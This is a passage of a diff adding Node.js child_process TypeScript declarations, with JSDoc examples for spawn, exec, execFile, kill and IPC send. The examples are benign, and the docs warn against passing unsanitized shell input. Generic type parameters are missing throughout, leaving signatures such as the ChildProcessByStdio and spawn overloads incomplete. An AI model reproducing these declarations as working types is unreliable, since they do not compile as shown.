`null`. + * + * ```js + * import assert from 'node:assert'; + * import fs from 'node:fs'; + * import child_process from 'node:child_process'; + * + * const subprocess = child_process.spawn('ls', { + * stdio: [ + * 0, // Use parent's stdin for child. + * 'pipe', // Pipe child's stdout to parent. + * fs.openSync('err.out', 'w'), // Direct child's stderr to a file. + * ], + * }); + * + * assert.strictEqual(subprocess.stdio[0], null); + * assert.strictEqual(subprocess.stdio[0], subprocess.stdin); + * + * assert(subprocess.stdout); + * assert.strictEqual(subprocess.stdio[1], subprocess.stdout); + * + * assert.strictEqual(subprocess.stdio[2], null); + * assert.strictEqual(subprocess.stdio[2], subprocess.stderr); + * ``` + * + * The `subprocess.stdio` property can be `undefined` if the child process could + * not be successfully spawned. + * @since v0.7.10 + */ + readonly stdio: [ + Writable | null, + // stdin + Readable | null, + // stdout + Readable | null, + // stderr + Readable | Writable | null | undefined, + // extra + Readable | Writable | null | undefined, // extra + ]; + /** + * The `subprocess.killed` property indicates whether the child process + * successfully received a signal from `subprocess.kill()`. The `killed` property + * does not indicate that the child process has been terminated. + * @since v0.5.10 + */ + readonly killed: boolean; + /** + * Returns the process identifier (PID) of the child process. If the child process + * fails to spawn due to errors, then the value is `undefined` and `error` is + * emitted. + * + * ```js + * import { spawn } from 'node:child_process'; + * const grep = spawn('grep', ['ssh']); + * + * console.log(`Spawned child pid: ${grep.pid}`); + * grep.stdin.end(); + * ``` + * @since v0.1.90 + */ + readonly pid?: number | undefined; + /** + * The `subprocess.connected` property indicates whether it is still possible to + * send and receive messages from a child process. When `subprocess.connected` is `false`, it is no longer possible to send or receive messages. + * @since v0.7.2 + */ + readonly connected: boolean; + /** + * The `subprocess.exitCode` property indicates the exit code of the child process. + * If the child process is still running, the field will be `null`. + */ + readonly exitCode: number | null; + /** + * The `subprocess.signalCode` property indicates the signal received by + * the child process if any, else `null`. + */ + readonly signalCode: NodeJS.Signals | null; + /** + * The `subprocess.spawnargs` property represents the full list of command-line + * arguments the child process was launched with. + */ + readonly spawnargs: string[]; + /** + * The `subprocess.spawnfile` property indicates the executable file name of + * the child process that is launched. + * + * For {@link fork}, its value will be equal to `process.execPath`. + * For {@link spawn}, its value will be the name of + * the executable file. + * For {@link exec}, its value will be the name of the shell + * in which the child process is launched. + */ + readonly spawnfile: string; + /** + * The `subprocess.kill()` method sends a signal to the child process. If no + * argument is given, the process will be sent the `'SIGTERM'` signal. See [`signal(7)`](http://man7.org/linux/man-pages/man7/signal.7.html) for a list of available signals. This function + * returns `true` if [`kill(2)`](http://man7.org/linux/man-pages/man2/kill.2.html) succeeds, and `false` otherwise. + * + * ```js + * import { spawn } from 'node:child_process'; + * const grep = spawn('grep', ['ssh']); + * + * grep.on('close', (code, signal) => { + * console.log( + * `child process terminated due to receipt of signal ${signal}`); + * }); + * + * // Send SIGHUP to process. + * grep.kill('SIGHUP'); + * ``` + * + * The `ChildProcess` object may emit an `'error'` event if the signal + * cannot be delivered. Sending a signal to a child process that has already exited + * is not an error but may have unforeseen consequences. Specifically, if the + * process identifier (PID) has been reassigned to another process, the signal will + * be delivered to that process instead which can have unexpected results. + * + * While the function is called `kill`, the signal delivered to the child process + * may not actually terminate the process. + * + * See [`kill(2)`](http://man7.org/linux/man-pages/man2/kill.2.html) for reference. + * + * On Windows, where POSIX signals do not exist, the `signal` argument will be + * ignored, and the process will be killed forcefully and abruptly (similar to `'SIGKILL'`). + * See `Signal Events` for more details. + * + * On Linux, child processes of child processes will not be terminated + * when attempting to kill their parent. This is likely to happen when running a + * new process in a shell or with the use of the `shell` option of `ChildProcess`: + * + * ```js + * 'use strict'; + * import { spawn } from 'node:child_process'; + * + * const subprocess = spawn( + * 'sh', + * [ + * '-c', + * `node -e "setInterval(() => { + * console.log(process.pid, 'is alive') + * }, 500);"`, + * ], { + * stdio: ['inherit', 'inherit', 'inherit'], + * }, + * ); + * + * setTimeout(() => { + * subprocess.kill(); // Does not terminate the Node.js process in the shell. + * }, 2000); + * ``` + * @since v0.1.90 + */ + kill(signal?: NodeJS.Signals | number): boolean; + /** + * Calls {@link ChildProcess.kill} with `'SIGTERM'`. + * @since v20.5.0 + */ + [Symbol.dispose](): void; + /** + * When an IPC channel has been established between the parent and child ( + * i.e. when using {@link fork}), the `subprocess.send()` method can + * be used to send messages to the child process. When the child process is a + * Node.js instance, these messages can be received via the `'message'` event. + * + * The message goes through serialization and parsing. The resulting + * message might not be the same as what is originally sent. + * + * For example, in the parent script: + * + * ```js + * import cp from 'node:child_process'; + * const n = cp.fork(`${__dirname}/sub.js`); + * + * n.on('message', (m) => { + * console.log('PARENT got message:', m); + * }); + * + * // Causes the child to print: CHILD got message: { hello: 'world' } + * n.send({ hello: 'world' }); + * ``` + * + * And then the child script, `'sub.js'` might look like this: + * + * ```js + * process.on('message', (m) => { + * console.log('CHILD got message:', m); + * }); + * + * // Causes the parent to print: PARENT got message: { foo: 'bar', baz: null } + * process.send({ foo: 'bar', baz: NaN }); + * ``` + * + * Child Node.js processes will have a `process.send()` method of their own + * that allows the child to send messages back to the parent. + * + * There is a special case when sending a `{cmd: 'NODE_foo'}` message. Messages + * containing a `NODE_` prefix in the `cmd` property are reserved for use within + * Node.js core and will not be emitted in the child's `'message'` event. Rather, such messages are emitted using the `'internalMessage'` event and are consumed internally by Node.js. + * Applications should avoid using such messages or listening for `'internalMessage'` events as it is subject to change without notice. + * + * The optional `sendHandle` argument that may be passed to `subprocess.send()` is + * for passing a TCP server or socket object to the child process. The child will + * receive the object as the second argument passed to the callback function + * registered on the `'message'` event. Any data that is received and buffered in + * the socket will not be sent to the child. Sending IPC sockets is not supported on Windows. + * + * The optional `callback` is a function that is invoked after the message is + * sent but before the child may have received it. The function is called with a + * single argument: `null` on success, or an `Error` object on failure. + * + * If no `callback` function is provided and the message cannot be sent, an `'error'` event will be emitted by the `ChildProcess` object. This can + * happen, for instance, when the child process has already exited. + * + * `subprocess.send()` will return `false` if the channel has closed or when the + * backlog of unsent messages exceeds a threshold that makes it unwise to send + * more. Otherwise, the method returns `true`. The `callback` function can be + * used to implement flow control. + * + * #### Example: sending a server object + * + * The `sendHandle` argument can be used, for instance, to pass the handle of + * a TCP server object to the child process as illustrated in the example below: + * + * ```js + * import { createServer } from 'node:net'; + * import { fork } from 'node:child_process'; + * const subprocess = fork('subprocess.js'); + * + * // Open up the server object and send the handle. + * const server = createServer(); + * server.on('connection', (socket) => { + * socket.end('handled by parent'); + * }); + * server.listen(1337, () => { + * subprocess.send('server', server); + * }); + * ``` + * + * The child would then receive the server object as: + * + * ```js + * process.on('message', (m, server) => { + * if (m === 'server') { + * server.on('connection', (socket) => { + * socket.end('handled by child'); + * }); + * } + * }); + * ``` + * + * Once the server is now shared between the parent and child, some connections + * can be handled by the parent and some by the child. + * + * While the example above uses a server created using the `node:net` module, `node:dgram` module servers use exactly the same workflow with the exceptions of + * listening on a `'message'` event instead of `'connection'` and using `server.bind()` instead of `server.listen()`. This is, however, only + * supported on Unix platforms. + * + * #### Example: sending a socket object + * + * Similarly, the `sendHandler` argument can be used to pass the handle of a + * socket to the child process. The example below spawns two children that each + * handle connections with "normal" or "special" priority: + * + * ```js + * import { createServer } from 'node:net'; + * import { fork } from 'node:child_process'; + * const normal = fork('subprocess.js', ['normal']); + * const special = fork('subprocess.js', ['special']); + * + * // Open up the server and send sockets to child. Use pauseOnConnect to prevent + * // the sockets from being read before they are sent to the child process. + * const server = createServer({ pauseOnConnect: true }); + * server.on('connection', (socket) => { + * + * // If this is special priority... + * if (socket.remoteAddress === '74.125.127.100') { + * special.send('socket', socket); + * return; + * } + * // This is normal priority. + * normal.send('socket', socket); + * }); + * server.listen(1337); + * ``` + * + * The `subprocess.js` would receive the socket handle as the second argument + * passed to the event callback function: + * + * ```js + * process.on('message', (m, socket) => { + * if (m === 'socket') { + * if (socket) { + * // Check that the client socket exists. + * // It is possible for the socket to be closed between the time it is + * // sent and the time it is received in the child process. + * socket.end(`Request handled with ${process.argv[2]} priority`); + * } + * } + * }); + * ``` + * + * Do not use `.maxConnections` on a socket that has been passed to a subprocess. + * The parent cannot track when the socket is destroyed. + * + * Any `'message'` handlers in the subprocess should verify that `socket` exists, + * as the connection may have been closed during the time it takes to send the + * connection to the child. + * @since v0.5.9 + * @param sendHandle `undefined`, or a [`net.Socket`](https://nodejs.org/docs/latest-v22.x/api/net.html#class-netsocket), [`net.Server`](https://nodejs.org/docs/latest-v22.x/api/net.html#class-netserver), or [`dgram.Socket`](https://nodejs.org/docs/latest-v22.x/api/dgram.html#class-dgramsocket) object. + * @param options The `options` argument, if present, is an object used to parameterize the sending of certain types of handles. `options` supports the following properties: + */ + send(message: Serializable, callback?: (error: Error | null) => void): boolean; + send(message: Serializable, sendHandle?: SendHandle, callback?: (error: Error | null) => void): boolean; + send( + message: Serializable, + sendHandle?: SendHandle, + options?: MessageOptions, + callback?: (error: Error | null) => void, + ): boolean; + /** + * Closes the IPC channel between parent and child, allowing the child to exit + * gracefully once there are no other connections keeping it alive. After calling + * this method the `subprocess.connected` and `process.connected` properties in + * both the parent and child (respectively) will be set to `false`, and it will be + * no longer possible to pass messages between the processes. + * + * The `'disconnect'` event will be emitted when there are no messages in the + * process of being received. This will most often be triggered immediately after + * calling `subprocess.disconnect()`. + * + * When the child process is a Node.js instance (e.g. spawned using {@link fork}), the `process.disconnect()` method can be invoked + * within the child process to close the IPC channel as well. + * @since v0.7.2 + */ + disconnect(): void; + /** + * By default, the parent will wait for the detached child to exit. To prevent the + * parent from waiting for a given `subprocess` to exit, use the `subprocess.unref()` method. Doing so will cause the parent's event loop to not + * include the child in its reference count, allowing the parent to exit + * independently of the child, unless there is an established IPC channel between + * the child and the parent. + * + * ```js + * import { spawn } from 'node:child_process'; + * + * const subprocess = spawn(process.argv[0], ['child_program.js'], { + * detached: true, + * stdio: 'ignore', + * }); + * + * subprocess.unref(); + * ``` + * @since v0.7.10 + */ + unref(): void; + /** + * Calling `subprocess.ref()` after making a call to `subprocess.unref()` will + * restore the removed reference count for the child process, forcing the parent + * to wait for the child to exit before exiting itself. + * + * ```js + * import { spawn } from 'node:child_process'; + * + * const subprocess = spawn(process.argv[0], ['child_program.js'], { + * detached: true, + * stdio: 'ignore', + * }); + * + * subprocess.unref(); + * subprocess.ref(); + * ``` + * @since v0.7.10 + */ + ref(): void; + /** + * events.EventEmitter + * 1. close + * 2. disconnect + * 3. error + * 4. exit + * 5. message + * 6. spawn + */ + addListener(event: string, listener: (...args: any[]) => void): this; + addListener(event: "close", listener: (code: number | null, signal: NodeJS.Signals | null) => void): this; + addListener(event: "disconnect", listener: () => void): this; + addListener(event: "error", listener: (err: Error) => void): this; + addListener(event: "exit", listener: (code: number | null, signal: NodeJS.Signals | null) => void): this; + addListener(event: "message", listener: (message: Serializable, sendHandle: SendHandle) => void): this; + addListener(event: "spawn", listener: () => void): this; + emit(event: string | symbol, ...args: any[]): boolean; + emit(event: "close", code: number | null, signal: NodeJS.Signals | null): boolean; + emit(event: "disconnect"): boolean; + emit(event: "error", err: Error): boolean; + emit(event: "exit", code: number | null, signal: NodeJS.Signals | null): boolean; + emit(event: "message", message: Serializable, sendHandle: SendHandle): boolean; + emit(event: "spawn", listener: () => void): boolean; + on(event: string, listener: (...args: any[]) => void): this; + on(event: "close", listener: (code: number | null, signal: NodeJS.Signals | null) => void): this; + on(event: "disconnect", listener: () => void): this; + on(event: "error", listener: (err: Error) => void): this; + on(event: "exit", listener: (code: number | null, signal: NodeJS.Signals | null) => void): this; + on(event: "message", listener: (message: Serializable, sendHandle: SendHandle) => void): this; + on(event: "spawn", listener: () => void): this; + once(event: string, listener: (...args: any[]) => void): this; + once(event: "close", listener: (code: number | null, signal: NodeJS.Signals | null) => void): this; + once(event: "disconnect", listener: () => void): this; + once(event: "error", listener: (err: Error) => void): this; + once(event: "exit", listener: (code: number | null, signal: NodeJS.Signals | null) => void): this; + once(event: "message", listener: (message: Serializable, sendHandle: SendHandle) => void): this; + once(event: "spawn", listener: () => void): this; + prependListener(event: string, listener: (...args: any[]) => void): this; + prependListener(event: "close", listener: (code: number | null, signal: NodeJS.Signals | null) => void): this; + prependListener(event: "disconnect", listener: () => void): this; + prependListener(event: "error", listener: (err: Error) => void): this; + prependListener(event: "exit", listener: (code: number | null, signal: NodeJS.Signals | null) => void): this; + prependListener(event: "message", listener: (message: Serializable, sendHandle: SendHandle) => void): this; + prependListener(event: "spawn", listener: () => void): this; + prependOnceListener(event: string, listener: (...args: any[]) => void): this; + prependOnceListener( + event: "close", + listener: (code: number | null, signal: NodeJS.Signals | null) => void, + ): this; + prependOnceListener(event: "disconnect", listener: () => void): this; + prependOnceListener(event: "error", listener: (err: Error) => void): this; + prependOnceListener( + event: "exit", + listener: (code: number | null, signal: NodeJS.Signals | null) => void, + ): this; + prependOnceListener(event: "message", listener: (message: Serializable, sendHandle: SendHandle) => void): this; + prependOnceListener(event: "spawn", listener: () => void): this; + } + // return this object when stdio option is undefined or not specified + interface ChildProcessWithoutNullStreams extends ChildProcess { + stdin: Writable; + stdout: Readable; + stderr: Readable; + readonly stdio: [ + Writable, + Readable, + Readable, + // stderr + Readable | Writable | null | undefined, + // extra, no modification + Readable | Writable | null | undefined, // extra, no modification + ]; + } + // return this object when stdio option is a tuple of 3 + interface ChildProcessByStdio + extends ChildProcess + { + stdin: I; + stdout: O; + stderr: E; + readonly stdio: [ + I, + O, + E, + Readable | Writable | null | undefined, + // extra, no modification + Readable | Writable | null | undefined, // extra, no modification + ]; + } + interface MessageOptions { + keepOpen?: boolean | undefined; + } + type IOType = "overlapped" | "pipe" | "ignore" | "inherit"; + type StdioOptions = IOType | Array; + type SerializationType = "json" | "advanced"; + interface MessagingOptions extends Abortable { + /** + * Specify the kind of serialization used for sending messages between processes. + * @default 'json' + */ + serialization?: SerializationType | undefined; + /** + * The signal value to be used when the spawned process will be killed by the abort signal. + * @default 'SIGTERM' + */ + killSignal?: NodeJS.Signals | number | undefined; + /** + * In milliseconds the maximum amount of time the process is allowed to run. + */ + timeout?: number | undefined; + } + interface ProcessEnvOptions { + uid?: number | undefined; + gid?: number | undefined; + cwd?: string | URL | undefined; + env?: NodeJS.ProcessEnv | undefined; + } + interface CommonOptions extends ProcessEnvOptions { + /** + * @default false + */ + windowsHide?: boolean | undefined; + /** + * @default 0 + */ + timeout?: number | undefined; + } + interface CommonSpawnOptions extends CommonOptions, MessagingOptions, Abortable { + argv0?: string | undefined; + /** + * Can be set to 'pipe', 'inherit', 'overlapped', or 'ignore', or an array of these strings. + * If passed as an array, the first element is used for `stdin`, the second for + * `stdout`, and the third for `stderr`. A fourth element can be used to + * specify the `stdio` behavior beyond the standard streams. See + * {@link ChildProcess.stdio} for more information. + * + * @default 'pipe' + */ + stdio?: StdioOptions | undefined; + shell?: boolean | string | undefined; + windowsVerbatimArguments?: boolean | undefined; + } + interface SpawnOptions extends CommonSpawnOptions { + detached?: boolean | undefined; + } + interface SpawnOptionsWithoutStdio extends SpawnOptions { + stdio?: StdioPipeNamed | StdioPipe[] | undefined; + } + type StdioNull = "inherit" | "ignore" | Stream; + type StdioPipeNamed = "pipe" | "overlapped"; + type StdioPipe = undefined | null | StdioPipeNamed; + interface SpawnOptionsWithStdioTuple< + Stdin extends StdioNull | StdioPipe, + Stdout extends StdioNull | StdioPipe, + Stderr extends StdioNull | StdioPipe, + > extends SpawnOptions { + stdio: [Stdin, Stdout, Stderr]; + } + /** + * The `child_process.spawn()` method spawns a new process using the given `command`, with command-line arguments in `args`. If omitted, `args` defaults + * to an empty array. + * + * **If the `shell` option is enabled, do not pass unsanitized user input to this** + * **function. Any input containing shell metacharacters may be used to trigger** + * **arbitrary command execution.** + * + * A third argument may be used to specify additional options, with these defaults: + * + * ```js + * const defaults = { + * cwd: undefined, + * env: process.env, + * }; + * ``` + * + * Use `cwd` to specify the working directory from which the process is spawned. + * If not given, the default is to inherit the current working directory. If given, + * but the path does not exist, the child process emits an `ENOENT` error + * and exits immediately. `ENOENT` is also emitted when the command + * does not exist. + * + * Use `env` to specify environment variables that will be visible to the new + * process, the default is `process.env`. + * + * `undefined` values in `env` will be ignored. + * + * Example of running `ls -lh /usr`, capturing `stdout`, `stderr`, and the + * exit code: + * + * ```js + * import { spawn } from 'node:child_process'; + * const ls = spawn('ls', ['-lh', '/usr']); + * + * ls.stdout.on('data', (data) => { + * console.log(`stdout: ${data}`); + * }); + * + * ls.stderr.on('data', (data) => { + * console.error(`stderr: ${data}`); + * }); + * + * ls.on('close', (code) => { + * console.log(`child process exited with code ${code}`); + * }); + * ``` + * + * Example: A very elaborate way to run `ps ax | grep ssh` + * + * ```js + * import { spawn } from 'node:child_process'; + * const ps = spawn('ps', ['ax']); + * const grep = spawn('grep', ['ssh']); + * + * ps.stdout.on('data', (data) => { + * grep.stdin.write(data); + * }); + * + * ps.stderr.on('data', (data) => { + * console.error(`ps stderr: ${data}`); + * }); + * + * ps.on('close', (code) => { + * if (code !== 0) { + * console.log(`ps process exited with code ${code}`); + * } + * grep.stdin.end(); + * }); + * + * grep.stdout.on('data', (data) => { + * console.log(data.toString()); + * }); + * + * grep.stderr.on('data', (data) => { + * console.error(`grep stderr: ${data}`); + * }); + * + * grep.on('close', (code) => { + * if (code !== 0) { + * console.log(`grep process exited with code ${code}`); + * } + * }); + * ``` + * + * Example of checking for failed `spawn`: + * + * ```js + * import { spawn } from 'node:child_process'; + * const subprocess = spawn('bad_command'); + * + * subprocess.on('error', (err) => { + * console.error('Failed to start subprocess.'); + * }); + * ``` + * + * Certain platforms (macOS, Linux) will use the value of `argv[0]` for the process + * title while others (Windows, SunOS) will use `command`. + * + * Node.js overwrites `argv[0]` with `process.execPath` on startup, so `process.argv[0]` in a Node.js child process will not match the `argv0` parameter passed to `spawn` from the parent. Retrieve + * it with the `process.argv0` property instead. + * + * If the `signal` option is enabled, calling `.abort()` on the corresponding `AbortController` is similar to calling `.kill()` on the child process except + * the error passed to the callback will be an `AbortError`: + * + * ```js + * import { spawn } from 'node:child_process'; + * const controller = new AbortController(); + * const { signal } = controller; + * const grep = spawn('grep', ['ssh'], { signal }); + * grep.on('error', (err) => { + * // This will be called with err being an AbortError if the controller aborts + * }); + * controller.abort(); // Stops the child process + * ``` + * @since v0.1.90 + * @param command The command to run. + * @param args List of string arguments. + */ + function spawn(command: string, options?: SpawnOptionsWithoutStdio): ChildProcessWithoutNullStreams; + function spawn( + command: string, + options: SpawnOptionsWithStdioTuple, + ): ChildProcessByStdio; + function spawn( + command: string, + options: SpawnOptionsWithStdioTuple, + ): ChildProcessByStdio; + function spawn( + command: string, + options: SpawnOptionsWithStdioTuple, + ): ChildProcessByStdio; + function spawn( + command: string, + options: SpawnOptionsWithStdioTuple, + ): ChildProcessByStdio; + function spawn( + command: string, + options: SpawnOptionsWithStdioTuple, + ): ChildProcessByStdio; + function spawn( + command: string, + options: SpawnOptionsWithStdioTuple, + ): ChildProcessByStdio; + function spawn( + command: string, + options: SpawnOptionsWithStdioTuple, + ): ChildProcessByStdio; + function spawn( + command: string, + options: SpawnOptionsWithStdioTuple, + ): ChildProcessByStdio; + function spawn(command: string, options: SpawnOptions): ChildProcess; + // overloads of spawn with 'args' + function spawn( + command: string, + args?: readonly string[], + options?: SpawnOptionsWithoutStdio, + ): ChildProcessWithoutNullStreams; + function spawn( + command: string, + args: readonly string[], + options: SpawnOptionsWithStdioTuple, + ): ChildProcessByStdio; + function spawn( + command: string, + args: readonly string[], + options: SpawnOptionsWithStdioTuple, + ): ChildProcessByStdio; + function spawn( + command: string, + args: readonly string[], + options: SpawnOptionsWithStdioTuple, + ): ChildProcessByStdio; + function spawn( + command: string, + args: readonly string[], + options: SpawnOptionsWithStdioTuple, + ): ChildProcessByStdio; + function spawn( + command: string, + args: readonly string[], + options: SpawnOptionsWithStdioTuple, + ): ChildProcessByStdio; + function spawn( + command: string, + args: readonly string[], + options: SpawnOptionsWithStdioTuple, + ): ChildProcessByStdio; + function spawn( + command: string, + args: readonly string[], + options: SpawnOptionsWithStdioTuple, + ): ChildProcessByStdio; + function spawn( + command: string, + args: readonly string[], + options: SpawnOptionsWithStdioTuple, + ): ChildProcessByStdio; + function spawn(command: string, args: readonly string[], options: SpawnOptions): ChildProcess; + interface ExecOptions extends CommonOptions { + shell?: string | undefined; + signal?: AbortSignal | undefined; + maxBuffer?: number | undefined; + killSignal?: NodeJS.Signals | number | undefined; + } + interface ExecOptionsWithStringEncoding extends ExecOptions { + encoding: BufferEncoding; + } + interface ExecOptionsWithBufferEncoding extends ExecOptions { + encoding: BufferEncoding | null; // specify `null`. + } + interface ExecException extends Error { + cmd?: string | undefined; + killed?: boolean | undefined; + code?: number | undefined; + signal?: NodeJS.Signals | undefined; + stdout?: string; + stderr?: string; + } + /** + * Spawns a shell then executes the `command` within that shell, buffering any + * generated output. The `command` string passed to the exec function is processed + * directly by the shell and special characters (vary based on [shell](https://en.wikipedia.org/wiki/List_of_command-line_interpreters)) + * need to be dealt with accordingly: + * + * ```js + * import { exec } from 'node:child_process'; + * + * exec('"/path/to/test file/test.sh" arg1 arg2'); + * // Double quotes are used so that the space in the path is not interpreted as + * // a delimiter of multiple arguments. + * + * exec('echo "The \\$HOME variable is $HOME"'); + * // The $HOME variable is escaped in the first instance, but not in the second. + * ``` + * + * **Never pass unsanitized user input to this function. Any input containing shell** + * **metacharacters may be used to trigger arbitrary command execution.** + * + * If a `callback` function is provided, it is called with the arguments `(error, stdout, stderr)`. On success, `error` will be `null`. On error, `error` will be an instance of `Error`. The + * `error.code` property will be + * the exit code of the process. By convention, any exit code other than `0` indicates an error. `error.signal` will be the signal that terminated the + * process. + * + * The `stdout` and `stderr` arguments passed to the callback will contain the + * stdout and stderr output of the child process. By default, Node.js will decode + * the output as UTF-8 and pass strings to the callback. The `encoding` option + * can be used to specify the character encoding used to decode the stdout and + * stderr output. If `encoding` is `'buffer'`, or an unrecognized character + * encoding, `Buffer` objects will be passed to the callback instead. + * + * ```js + * import { exec } from 'node:child_process'; + * exec('cat *.js missing_file | wc -l', (error, stdout, stderr) => { + * if (error) { + * console.error(`exec error: ${error}`); + * return; + * } + * console.log(`stdout: ${stdout}`); + * console.error(`stderr: ${stderr}`); + * }); + * ``` + * + * If `timeout` is greater than `0`, the parent will send the signal + * identified by the `killSignal` property (the default is `'SIGTERM'`) if the + * child runs longer than `timeout` milliseconds. + * + * Unlike the [`exec(3)`](http://man7.org/linux/man-pages/man3/exec.3.html) POSIX system call, `child_process.exec()` does not replace + * the existing process and uses a shell to execute the command. + * + * If this method is invoked as its `util.promisify()` ed version, it returns + * a `Promise` for an `Object` with `stdout` and `stderr` properties. The returned `ChildProcess` instance is attached to the `Promise` as a `child` property. In + * case of an error (including any error resulting in an exit code other than 0), a + * rejected promise is returned, with the same `error` object given in the + * callback, but with two additional properties `stdout` and `stderr`. + * + * ```js + * import util from 'node:util'; + * import child_process from 'node:child_process'; + * const exec = util.promisify(child_process.exec); + * + * async function lsExample() { + * const { stdout, stderr } = await exec('ls'); + * console.log('stdout:', stdout); + * console.error('stderr:', stderr); + * } + * lsExample(); + * ``` + * + * If the `signal` option is enabled, calling `.abort()` on the corresponding `AbortController` is similar to calling `.kill()` on the child process except + * the error passed to the callback will be an `AbortError`: + * + * ```js + * import { exec } from 'node:child_process'; + * const controller = new AbortController(); + * const { signal } = controller; + * const child = exec('grep ssh', { signal }, (error) => { + * console.error(error); // an AbortError + * }); + * controller.abort(); + * ``` + * @since v0.1.90 + * @param command The command to run, with space-separated arguments. + * @param callback called with the output when process terminates. + */ + function exec( + command: string, + callback?: (error: ExecException | null, stdout: string, stderr: string) => void, + ): ChildProcess; + // `options` with `"buffer"` or `null` for `encoding` means stdout/stderr are definitely `Buffer`. + function exec( + command: string, + options: { + encoding: "buffer" | null; + } & ExecOptions, + callback?: (error: ExecException | null, stdout: Buffer, stderr: Buffer) => void, + ): ChildProcess; + // `options` with well known `encoding` means stdout/stderr are definitely `string`. + function exec( + command: string, + options: { + encoding: BufferEncoding; + } & ExecOptions, + callback?: (error: ExecException | null, stdout: string, stderr: string) => void, + ): ChildProcess; + // `options` with an `encoding` whose type is `string` means stdout/stderr could either be `Buffer` or `string`. + // There is no guarantee the `encoding` is unknown as `string` is a superset of `BufferEncoding`. + function exec( + command: string, + options: { + encoding: BufferEncoding; + } & ExecOptions, + callback?: (error: ExecException | null, stdout: string | Buffer, stderr: string | Buffer) => void, + ): ChildProcess; + // `options` without an `encoding` means stdout/stderr are definitely `string`. + function exec( + command: string, + options: ExecOptions, + callback?: (error: ExecException | null, stdout: string, stderr: string) => void, + ): ChildProcess; + // fallback if nothing else matches. Worst case is always `string | Buffer`. + function exec( + command: string, + options: (ObjectEncodingOptions & ExecOptions) | undefined | null, + callback?: (error: ExecException | null, stdout: string | Buffer, stderr: string | Buffer) => void, + ): ChildProcess; + interface PromiseWithChild extends Promise { + child: ChildProcess; + } + namespace exec { + function __promisify__(command: string): PromiseWithChild<{ + stdout: string; + stderr: string; + }>; + function __promisify__( + command: string, + options: { + encoding: "buffer" | null; + } & ExecOptions, + ): PromiseWithChild<{ + stdout: Buffer; + stderr: Buffer; + }>; + function __promisify__( + command: string, + options: { + encoding: BufferEncoding; + } & ExecOptions, + ): PromiseWithChild<{ + stdout: string; + stderr: string; + }>; + function __promisify__( + command: string, + options: ExecOptions, + ): PromiseWithChild<{ + stdout: string; + stderr: string; + }>; + function __promisify__( + command: string, + options?: (ObjectEncodingOptions & ExecOptions) | null, + ): PromiseWithChild<{ + stdout: string | Buffer; + stderr: string | Buffer; + }>; + } + interface ExecFileOptions extends CommonOptions, Abortable { + maxBuffer?: number | undefined; + killSignal?: NodeJS.Signals | number | undefined; + windowsVerbatimArguments?: boolean | undefined; + shell?: boolean | string | undefined; + signal?: AbortSignal | undefined; + } + interface ExecFileOptionsWithStringEncoding extends ExecFileOptions { + encoding: BufferEncoding; + } + interface ExecFileOptionsWithBufferEncoding extends ExecFileOptions { + encoding: "buffer" | null; + } + interface ExecFileOptionsWithOtherEncoding extends ExecFileOptions { + encoding: BufferEncoding; + } + type ExecFileException = + & Omit + & Omit + & { code?: string | number | undefined | null }; + /** + * The `child_process.execFile()` function is similar to {@link exec} except that it does not spawn a shell by default. Rather, the specified + * executable `file` is spawned directly as a new process making it slightly more + * efficient than {@link exec}. + * + * The same options as {@link exec} are supported. Since a shell is + * not spawned, behaviors such as I/O redirection and file globbing are not + * supported. + * + * ```js + * import { execFile } from 'node:child_process'; + * const child = execFile('node', ['--version'], (error, stdout, stderr) => { + * if (error) { + * throw error; + * } + * console.log(stdout); + * }); + * ``` + * + * The `stdout` and `stderr` arguments passed to the callback will contain the + * stdout and stderr output of the child process. By default, Node.js will decode + * the output as UTF-8 and pass strings to the callback. The `encoding` option + * can be used to specify the character encoding used to decode the stdout and + * stderr output. If `encoding` is `'buffer'`, or an unrecognized character + * encoding, `Buffer` objects will be passed to the callback instead. + * + * If this method is invoked as its `util.promisify()` ed version, it returns + * a `Promise` for an `Object` with `stdout` and `stderr` properties. The returned `ChildProcess` instance is attached to the `Promise` as a `child` property. In + * case of an error (including any error resulting in an exit code other than 0), a + * rejected promise is returned, with the same `error` object given in the + * callback, but with two additional properties `stdout` and `stderr`. + * + * ```js + * import util from 'node:util'; + * import child_process from 'node:child_process'; + * const execFile = util.promisify(child_process.execFile); + * async function getVersion() { + * const { stdout } = await execFile('node', ['--version']); + * console.log(stdout); + * } + * getVersion(); + * ``` + * + * **If the `shell` option is enabled, do not pass unsanitized user input to this** + * **function. Any input containing shell metacharacters may be used to trigger** + * **arbitrary command execution.** + * + * If the `signal` option is enabled, calling `.abort()` on the corresponding `AbortController` is similar to calling `.kill()` on the child process except + * the error passed to the callback will be an `AbortError`: + * + * ```js + * import { execFile } from 'node:child_process'; + * const controller = new AbortController(); + * const { signal } = controller; + * const child = execFile('node', ['--version'], { signal }, (error) => { + * console.error(error); // an AbortError + * }); + * controller.abort(); + * ``` + * @since v0.1.91 + * @param file The name or path of the executable file to run. + * @param args List of string arguments. + * @param callback Called with the output when process terminates. + */ + function execFile(file: string): ChildProcess; + function execFile( + file: string, + options: (ObjectEncodingOptions & ExecFileOptions) | undefined | null, + ): ChildProcess; + function execFile(file: string, args?: readonly string[] | null): ChildProcess; + function execFile( + file: string, + args: readonly string[] | undefined | null, + options: (ObjectEncodingOptions & ExecFileOptions) | undefined | null, + ): ChildProcess; + // no `options` definitely means stdout/stderr are `string`. + function execFile( + file: string, + callback: (error: ExecFileException | null, stdout: string, stderr: string) => void, + ): ChildProcess; + function execFile( + file: string, + args: readonly string[] | undefined | null, + callback: (error: ExecFileException | null, stdout: string, stderr: string) => void, + ): ChildProcess; + // `options` with `"buffer"` or `null` for `encoding` means stdout/stderr are definitely `Buffer`. + function execFile( + file: string, + options: ExecFileOptionsWithBufferEncoding, + callback: (error: ExecFileException | null, stdout: Buffer, stderr: Buffer) => void, + ): ChildProcess; + function execFile( + file: string, + args: readonly string[] | undefined | null, + options: ExecFileOptionsWithBufferEncoding, + callback: (error: ExecFileException | null, stdout: Buffer, stderr: Buffer) => void, + ): ChildProcess; + // `options` with well known `encoding` means stdout/stderr are definitely `string`. + function execFile( + file: string, + options: ExecFileOptionsWithStringEncoding, + callback: (error: ExecFileException | null, stdout: string, stderr: string) => void, + ): ChildProcess; + function execFile( + file: string, + args: readonly string[] | undefined | null, + options: ExecFileOptionsWithStringEncoding, + callback: (error: ExecFileException | null, stdout: string, stderr: string) => void, + ): ChildProcess; + // `options` with an `encoding` whose type is `string` means stdout/stderr could either be `Buffer` or `string`. + // There is no guarantee the `encoding` is unknown as `string` is a superset of `BufferEncoding`. + function execFile( + file: string, + options: ExecFileOptionsWithOtherEncoding, + callback: (error: ExecFileException | null, 